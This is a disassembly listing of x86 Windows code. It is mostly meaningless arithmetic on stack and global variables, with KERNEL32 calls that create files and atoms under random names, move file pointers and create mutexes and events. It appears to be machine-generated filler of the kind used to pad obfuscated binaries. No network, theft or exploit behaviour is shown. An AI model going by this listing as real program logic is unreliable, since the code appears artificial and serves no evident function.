mov cl, byte [0x100b7142]
mov byte [ebp - 0x31e], cl
mov edx, dword [ebp - 0x4464]
mov ecx, dword [ebp - 0x3ae0]
mov eax, dword [edx]
cdq
idiv dword [ecx]
mov dword [ebp - 0x3458], eax
mov dx, word [0x100b7380]
mov word [0x100bbb88], dx
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4bac]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0xe8c], cx
push 0
lea ecx, [ebp - 0x986c]
push ecx
mov edx, dword [ebp - 0x98f0]
push edx
mov eax, dword [ebp - 0x98f4]
push eax
mov ecx, dword [0x100b9820]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb5a4], eax
mov edx, dword [0x100ba3b8]
mov eax, dword [0x100ba26c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x3d34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e10]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x273]
and eax, ecx
mov byte [0x100b732a], al
mov edx, dword [0x100ba370]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4e9c]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x237], al
lea edx, [ebp - 0x4814]
mov dword [ebp - 0x5144], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbb8c], eax
movzx eax, word [ebp - 0x1598]
imul ecx, eax, 0x65
mov edx, dword [0x100bac80]
mov word [edx], cx
mov eax, dword [ebp - 0x4440]
movsx ecx, word [eax]
movsx edx, word [0x100bab04]
xor ecx, edx
mov eax, dword [ebp - 0x3af8]
mov word [eax], cx
lea ecx, [ebp - 0x1644]
mov dword [ebp - 0x5148], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x505c], eax
movzx edx, byte [0x100b71af]
mov eax, dword [ebp - 0x4848]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b732b], dl
lea edx, [ebp - 0x2acc]
mov dword [ebp - 0x514c], edx
mov eax, dword [ebp - 0x46d4]
or eax, dword [ebp - 0x328c]
mov ecx, dword [ebp - 0x38ec]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3a70]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2fe]
and eax, ecx
mov byte [0x100b7157], al
movzx edx, word [ebp - 0x654]
mov eax, dword [ebp - 0x4194]
movzx ecx, word [eax]
imul edx, ecx
mov eax, dword [ebp - 0x3b6c]
mov word [eax], dx
push 2
push 0x100ba150
mov ecx, dword [0x100bbb94]
push ecx
mov edx, dword [0x100bbb90]
push edx
mov eax, dword [0x100baf74]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3668], eax
lea ecx, [ebp - 0x1630]
mov dword [ebp - 0x5150], ecx
movsx edx, byte [0x100b801a]
mov eax, dword [ebp - 0x49b0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b821b], dl
movzx edx, byte [0x100b7f47]
mov eax, dword [ebp - 0x420c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x163], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5154], eax
push str.MGf_jq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x131c], ax
push 0
push 8
push 2
push 0
push 4
push 0x40000000
push str.BiknLsQ55_aCon0Ne6_aPXsJFf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbb98], eax
mov ecx, dword [0x100b73d0]
mov dword [ebp - 0x5158], ecx
mov dword [0x100bbb9c], 0x100b7408
lea edx, [ebp - 0x2c7]
mov dword [ebp - 0x515c], edx
push str.TMx4_rxi8vs1Vm5Zn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1824], ax
push 0x2560
push 0
push 0x100b99e0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5160], eax
movzx eax, word [0x100ba148]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x157c], ax
mov ecx, dword [ebp - 0x3cc0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1300]
sar edx, cl
mov eax, dword [ebp - 0x43bc]
mov word [eax], dx
push 0
push 0x200
push 0
push 0
push 4
push 0x80000000
push str.e77HjJM2MFrDeDnOyw9mG0F
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbba0], eax
mov dword [0x100bbba4], 0x100bb784
movzx ecx, byte [ebp - 0x297]
mov edx, dword [ebp - 0x4cc0]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x11b], cl
mov ecx, dword [ebp - 0x4c24]
mov edx, dword [ebp - 0x3ee8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x48f8]
mov dword [eax], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5164], eax
push str.65mx_C
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba850], ax
mov ecx, dword [ebp - 0x4f38]
movzx edx, word [ecx]
movzx eax, word [0x100bb8e8]
and edx, eax
mov word [0x100b71d8], dx
movzx ecx, word [ebp - 0x15a8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbba8], ax
push 2
lea edx, [ebp - 0x987c]
push edx
mov eax, dword [0x100bbbb4]
push eax
mov ecx, dword [0x100bbbb0]
push ecx
mov edx, dword [0x100b9d74]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x46c8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5168], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba9e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbbac], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x49a8], eax
lea eax, [ebp - 0xb518]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3e04]
or ecx, dword [ebp - 0x2cb0]
mov edx, dword [ebp - 0x4604]
mov dword [edx], ecx
lea eax, [ebp - 0x266]
mov dword [ebp - 0x516c], eax
lea ecx, [ebp - 0x10a4]
mov dword [0x100bbbb8], ecx
movzx edx, byte [ebp - 0x4a]
movzx eax, byte [ebp - 0x2c0]
xor edx, eax
mov ecx, dword [ebp - 0x44fc]
mov byte [ecx], dl
lea edx, [ebp - 0x3ffc]
mov dword [ebp - 0x5170], edx
movsx eax, byte [0x100b84ce]
movsx ecx, byte [ebp - 0x2c5]
shl eax, cl
mov ecx, dword [0x100bba60]
mov byte [ecx], al
mov edx, dword [ebp - 0x4f5c]
mov ax, word [edx]
mov word [ebp - 0x1828], ax
movzx ecx, word [0x100baaa8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12f4], ax
mov edx, dword [0x100b9730]
movzx eax, word [edx]
movzx ecx, word [0x100b99e8]
sar eax, cl
mov word [ebp - 0x13f0], ax
mov ecx, dword [ebp - 0x2be8]
mov dword [0x100bbbbc], ecx
push str.GNUs37_cng
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbbc0], ax
push 1
lea edx, [ebp - 0x98a4]
push edx
mov eax, dword [0x100bbbcc]
push eax
mov ecx, dword [0x100bbbc8]
push ecx
mov edx, dword [0x100b9500]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5174], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5178], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96ac], eax
mov eax, dword [ebp - 0x3e20]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x494c]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x11e0], cx
movzx ecx, byte [ebp - 0x2e8]
movzx edx, byte [0x100b80e7]
and ecx, edx
mov byte [ebp - 0x58], cl
mov eax, dword [ebp - 0x404c]
mov ecx, dword [0x100baf9c]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [0x100b7388], edx
lea eax, [ebp - 0x28f]
mov dword [ebp - 0x517c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5010], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbbc4], eax
movzx ecx, word [0x100b7258]
movzx edx, word [ebp - 0x1430]
xor ecx, edx
mov eax, dword [ebp - 0x4a0c]
mov word [eax], cx
mov cx, word [0x100b7454]
mov word [0x100bbbd0], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5180], eax
push str.DBEo_K3Rwu5_TeX2oy_MWPlHx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbbd4], ax
mov dword [ebp - 0x5184], 0x100b716a
mov edx, dword [ebp - 0x3848]
mov eax, dword [edx]
xor edx, edx
mov ecx, 0x62f5
div ecx
mov edx, dword [0x100b99e4]
mov dword [edx], eax
movsx eax, word [ebp - 0x14ec]
movsx ecx, word [ebp - 0x12e8]
add eax, ecx
mov word [ebp - 0x9c0], ax
movzx edx, byte [ebp - 0x2bf]
movzx eax, byte [ebp - 0xfb]
sub edx, eax
mov byte [ebp - 0x1d0], dl
mov ecx, dword [ebp - 0x4410]
mov edx, dword [ecx]
or edx, dword [ebp - 0x429c]
mov eax, dword [0x100bb2fc]
mov dword [eax], edx
movzx edx, word [ebp - 0xfd0]
movzx ecx, word [ebp - 0x159c]
shl edx, cl
mov eax, dword [ebp - 0x45d0]
mov word [eax], dx
mov ecx, dword [ebp - 0x450c]
mov edx, dword [ebp - 0x2f40]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x4da8], edx
mov dword [0x100bbbd8], 0x100b9974
mov dword [ebp - 0x5188], 0x100b73fc
push 0xbd8
mov eax, dword [ebp - 0x5050]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9eb8], eax
lea ecx, [ebp - 0xdb]
mov dword [ebp - 0x518c], ecx
movsx edx, byte [ebp - 0x25c]
mov eax, dword [0x100ba3d0]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100ba79c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4ae4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x29c]
add edx, eax
mov ecx, dword [ebp - 0x4080]
mov byte [ecx], dl
mov edx, dword [ebp - 0x37d0]
mov eax, dword [0x100bb170]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x3748], ecx
movzx edx, byte [ebp - 0x1b7]
mov eax, dword [ebp - 0x33f4]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b732e], dl
mov ecx, dword [ebp - 0x36d4]
mov dx, word [ecx]
mov word [ebp - 0x182c], dx
mov eax, dword [ebp - 0x4f74]
movzx edx, word [eax]
mov eax, dword [0x100bb2f4]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x109c], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5190], eax
push 0
push 8
push 0
push 0
push 1
push 0xc0000000
push str.8dRK_aGrTEijg91
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbbdc], eax
lea ecx, [ebp - 0x9f88]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x389c]
mov eax, dword [ebp - 0x4004]
or eax, dword [edx]
mov dword [0x100bab84], eax
push 1
push 0x100b9eb0
mov ecx, dword [ebp - 0x98f8]
push ecx
mov edx, dword [ebp - 0x98fc]
push edx
mov eax, dword [0x100b981c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb5ac], eax
lea ecx, [ebp - 0x1ed]
mov dword [ebp - 0x5194], ecx
mov edx, dword [0x100baec4]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4ae8]
mov dword [ebp - 0x4934], eax
mov cl, byte [ebp - 0x128]
mov byte [0x100b85de], cl
lea edx, [ebp - 0x1098]
mov dword [ebp - 0x5198], edx
mov eax, dword [ebp - 0x38f0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4068]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3ae4]
mov word [edx], cx
mov eax, dword [ebp - 0x39b0]
movsx ecx, byte [eax]
movsx edx, byte [0x100b726b]
and ecx, edx
mov byte [0x100b721b], cl
lea eax, [ebp - 0xb28]
mov dword [ebp - 0x519c], eax
push 0x17d5
push 0
lea ecx, [ebp - 0x41ac]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbbe0], eax
mov edx, dword [ebp - 0x42bc]
imul edx, dword [ebp - 0x2b7c]
mov dword [ebp - 0x3c38], edx
movzx eax, word [ebp - 0x1394]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1830], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bbbe4], eax
mov ecx, dword [0x100bbb34]
mov edx, dword [ecx]
mov ecx, dword [0x100b7480]
sar edx, cl
mov dword [0x100b74a4], edx
lea eax, [ebp - 0x128]
mov dword [ebp - 0x51a0], eax
mov cx, word [ebp - 0x1460]
mov word [ebp - 0x1834], cx
mov dword [0x100bbbe8], 0x100b72db
push 0
push 0x100b9b00
mov edx, dword [ebp - 0x9900]
push edx
mov eax, dword [ebp - 0x9904]
push eax
mov ecx, dword [0x100baf08]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x42e4], eax
push 0
push 0x10
push 0
push 0
push 4
push 0x80000000
push str.BNIIuSoB5bLDqikdXhd9
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x51a4], eax
push str.7eMTJE_GIPT_MT6HcHa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbbec], ax
mov edx, dword [ebp - 0x4834]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3918]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3a10]
mov word [ecx], ax
mov edx, dword [ebp - 0x4da8]
sub edx, dword [0x100bb1f8]
mov dword [ebp - 0x2b80], edx
mov eax, dword [ebp - 0x4738]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4d98]
shl edx, cl
mov dword [0x100b99c0], edx
mov eax, dword [0x100b98f0]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x4b
push 0
lea ecx, [ebp - 0x3b50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3a48], eax
mov edx, dword [ebp - 0x4424]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x518c]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x405c]
mov byte [ecx], al
movsx edx, byte [ebp - 0x304]
mov eax, dword [ebp - 0x3a38]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x186], dl
lea edx, [ebp - 0xb8c]
mov dword [0x100bbbf0], edx
movzx eax, word [ebp - 0x1784]
mov ecx, dword [0x100b9bb8]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3e48]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e68], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x51a8], eax
push str.VvrwZGM_LLBUoH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbbf4], ax
push 0
lea edx, [ebp - 0x98bc]
push edx
mov eax, dword [0x100bbbfc]
push eax
mov ecx, dword [0x100bbbf8]
push ecx
mov edx, dword [0x100ba660]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x51ac], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba694], eax
movzx eax, word [ebp - 0x12d8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbc00], ax
mov ecx, dword [ebp - 0x36ec]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x37cc]
sar edx, cl
mov eax, dword [ebp - 0x4350]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4a20]
movsx eax, byte [ecx]
mov edx, dword [ebp - 0x4d9c]
movsx ecx, byte [edx]
cdq
idiv ecx
mov byte [0x100b7223], al
mov dl, byte [ebp - 0x2ec]
mov byte [ebp - 0x31f], dl
push 0x14d8
push 0x2656
push 0x7a5
push 0x3a72
mov eax, dword [ebp - 0x3dc8]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100bbc04], eax
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x51b0], ecx
movzx edx, word [0x100bac90]
mov eax, dword [0x100ba33c]
movzx ecx, word [eax]
xor edx, ecx
mov word [0x100b74a8], dx
movsx edx, word [ebp - 0x1194]
mov eax, dword [ebp - 0x36ac]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x144c], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x51b4], eax
push 0x100bacf0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x3f00]
mov edx, dword [0x100baf9c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x4a40], eax
mov ecx, dword [ebp - 0x4d18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2ae]
and edx, eax
mov byte [0x100b821b], dl
movzx ecx, byte [ebp - 0x176]
movzx edx, byte [ebp - 0x1e8]
or ecx, edx
mov byte [ebp - 0x21c], cl
movzx eax, word [0x100b732c]
movzx ecx, word [ebp - 0xf84]
xor eax, ecx
mov edx, dword [ebp - 0x40ec]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4504], eax
push 0
push 2
push 1
push 0
push 8
push 0xc0000000
push str.jq3LqgzwhP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x51b8], eax
mov eax, dword [ebp - 0x4a04]
mov cx, word [eax]
mov word [0x100bbc08], cx
push str.jIRrGwtS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbc0c], ax
mov edx, dword [0x100b9550]
mov eax, dword [edx]
mov dword [ebp - 0x51bc], eax
push 1
lea ecx, [ebp - 0x9854]
push ecx
mov edx, dword [0x100bbc14]
push edx
mov eax, dword [0x100bbc10]
push eax
mov ecx, dword [0x100badd8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3c48], eax
movsx edx, word [ebp - 0x568]
mov eax, dword [ebp - 0x47b8]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x17fc], dx
mov ecx, dword [ebp - 0x4748]
mov edx, dword [0x100b9dd4]
add edx, dword [ecx]
mov dword [0x100b7468], edx
mov eax, dword [ebp - 0x3f88]
mov cl, byte [eax]
mov byte [ebp - 0x320], cl
movzx edx, byte [ebp - 0x132]
mov eax, dword [ebp - 0x4564]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100b96fc]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1690]
movzx edx, word [0x100bbbd0]
sub ecx, edx
mov word [ebp - 0xa88], cx
push str.YWJ_5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1838], ax
mov eax, dword [ebp - 0x36b0]
mov ecx, dword [ebp - 0x2bd8]
shl eax, cl
mov dword [ebp - 0x4a80], eax
lea ecx, [ebp - 0x2e14]
mov dword [0x100bbc18], ecx
movsx edx, word [ebp - 0x574]
movsx eax, word [ebp - 0x7d8]
or edx, eax
mov word [ebp - 0x1834], dx
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x51c0], ecx
movzx edx, word [0x100b9b08]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbc1c], ax
movzx eax, byte [0x100b718b]
mov ecx, dword [ebp - 0x3c1c]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b96fc]
mov byte [edx], al
push 0
push 8
push 4
push 0
push 1
push 0x40000000
push str.QTz1O1Q0lhNYozKiZ5_sZF2
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x51c4], eax
lea eax, [ebp - 0x144]
mov dword [ebp - 0x51c8], eax
mov ecx, dword [ebp - 0x4050]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2dc0]
mov dword [ebp - 0x2afc], edx
mov dword [0x100bbc20], 0x100b7328
lea eax, [ebp - 0x12dc]
mov dword [ebp - 0x51cc], eax
mov ecx, dword [ebp - 0x3fe4]
mov edx, dword [ebp - 0x39c0]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4e70]
mov dword [eax], edx
mov cl, byte [0x100b81a6]
mov byte [0x100b85df], cl
lea edx, [ebp - 0x9f70]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x3a70]
movsx ecx, byte [eax]
mov edx, dword [0x100b9654]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0xa5], cl
mov ecx, dword [ebp - 0x4c10]
mov edx, dword [ecx]
mov dword [ebp - 0x51d0], edx
movzx eax, word [ebp - 0xc20]
movzx ecx, word [0x100b71d4]
shl eax, cl
mov word [0x100b73ac], ax
movsx ecx, word [ebp - 0x12cc]
movsx edx, word [ebp - 0xee8]
xor ecx, edx
mov word [ebp - 0xf7c], cx
mov eax, dword [ebp - 0x4f68]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x13c0]
xor ecx, edx
mov word [ebp - 0xafc], cx
mov eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3cfc]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b7167], cl
mov ecx, dword [0x100ba668]
mov edx, dword [ecx]
mov dword [ebp - 0x51d4], edx
mov eax, dword [0x100ba014]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb750], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x51d8], eax
mov ecx, dword [ebp - 0x4040]
mov edx, dword [0x100b975c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2ae4], eax
lea ecx, [ebp - 0x78]
mov dword [0x100bbc24], ecx
movzx edx, word [ebp - 0x82c]
movzx eax, word [ebp - 0x1664]
or edx, eax
mov word [ebp - 0x598], dx
lea ecx, [ebp - 0xe7c]
mov dword [ebp - 0x51dc], ecx
mov edx, dword [ebp - 0x44b0]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0x400
push 4
push 0
push 2
push 0xc0000000
push str.ojUcYXtqtqJm
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbc28], eax
mov eax, dword [ebp - 0x3b10]
movsx ecx, byte [eax]
mov edx, dword [0x100ba998]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x100b732f], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baeac], eax
movzx ecx, byte [ebp - 0x2ad]
mov edx, dword [ebp - 0x37c4]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x38fc]
mov byte [edx], cl
mov eax, dword [ebp - 0x3c18]
mov ecx, dword [ebp - 0x4c84]
sub ecx, dword [eax]
mov dword [ebp - 0x3030], ecx
mov edx, dword [ebp - 0x481c]
mov eax, dword [ebp - 0x469c]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100bafe4], eax
movsx ecx, byte [ebp - 0x313]
mov edx, dword [ebp - 0x4178]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x4094]
mov byte [edx], cl
lea eax, [ebp - 0x1330]
mov dword [ebp - 0x51e0], eax
movsx edx, word [0x100b73e8]
mov eax, dword [ebp - 0x4784]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b9d64]
mov word [ecx], dx
movzx edx, byte [0x100b72df]
movzx eax, byte [ebp - 0xba]
and edx, eax
mov ecx, dword [ebp - 0x420c]
mov byte [ecx], dl
lea edx, [ebp - 0x4c78]
mov dword [ebp - 0x51e4], edx
lea eax, [ebp - 0xfa0]
mov dword [0x100bbc2c], eax
mov dword [ebp - 0x51e8], 0x100b72ac
lea ecx, [ebp - 0xa060]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbc30], eax
mov edx, dword [ebp - 0x4950]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3a70]
movsx edx, byte [ecx]
imul eax, edx
mov byte [ebp - 0x2b3], al
push str.Bkubu_mrcFPw_W25_BJD
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x172c], ax
movsx eax, word [ebp - 0x52c]
mov ecx, dword [0x100baf04]
movsx edx, word [ecx]
or eax, edx
mov word [0x100b74ac], ax
mov eax, dword [ebp - 0x4e48]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bbc34], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x51ec], eax
push 0
push 0x1616
push 0x1cc
push 0x6b5d
push 2
mov ecx, dword [0x100b9d70]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3370], eax
push str.t2cExOa_OB_WfY0CW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbc38], ax
mov edx, dword [ebp - 0x3534]
movzx eax, byte [edx]
movzx ecx, byte [0x100b85c2]
xor eax, ecx
mov byte [ebp - 0x233], al
mov edx, dword [ebp - 0x38c8]
add edx, dword [0x100b7488]
mov eax, dword [ebp - 0x4c24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ec0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x42b4]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b9818]
mov byte [ecx], dl
movzx edx, word [0x100ba62c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x183c], ax
mov eax, dword [ebp - 0x3808]
mov cx, word [eax]
mov word [ebp - 0x1840], cx
movzx edx, word [ebp - 0xb90]
movzx eax, word [ebp - 0x5f0]
and edx, eax
mov ecx, dword [ebp - 0x4200]
mov word [ecx], dx
push 0
push 8
push 4
push 0
push 8
push 0x40000000
push str.SVItXEeLcEsoUKL
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x51f0], eax
mov edx, dword [0x100b73b4]
mov ecx, dword [ebp - 0x2be8]
shr edx, cl
mov dword [0x100b7434], edx
mov dword [ebp - 0x51f4], 0x100ba180
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba314], eax
mov eax, dword [ebp - 0x4ec0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4a54]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3a84]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x39bc], eax
mov eax, dword [0x100bb1f8]
mov dword [0x100bbc3c], eax
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2c7]
add edx, eax
mov byte [ebp - 0x2c1], dl
push 0x100bbc40
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0xb70]
mov dword [ebp - 0x51f8], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbc64], eax
mov edx, dword [ebp - 0x4a9c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4298]
movzx edx, word [ecx]
or eax, edx
mov word [0x100b735c], ax
lea eax, [ebp - 0x129]
mov dword [ebp - 0x51fc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5200], eax
push 0x309a
push 0x3385
push 0x27d9
push 0x3d1e
mov ecx, dword [0x100ba58c]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x484c], eax
mov edx, dword [ebp - 0x3770]
mov eax, dword [0x100ba26c]
and eax, dword [edx]
mov dword [0x100b74b0], eax
mov ecx, dword [ebp - 0x47b8]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x411c]
movsx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x1788], dx
mov edx, dword [ebp - 0x4a5c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x48b0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4854]
mov byte [ecx], al
mov edx, dword [ebp - 0x3458]
mov ecx, dword [ebp - 0x2ae0]
shl edx, cl
mov dword [0x100b7204], edx
mov dword [ebp - 0x5204], 0x100b73f0
push str.cOy2.RgjzAdG_hq_LI9Ob
call dword [sym.imp.KERNEL32.dll_AddAtomW]
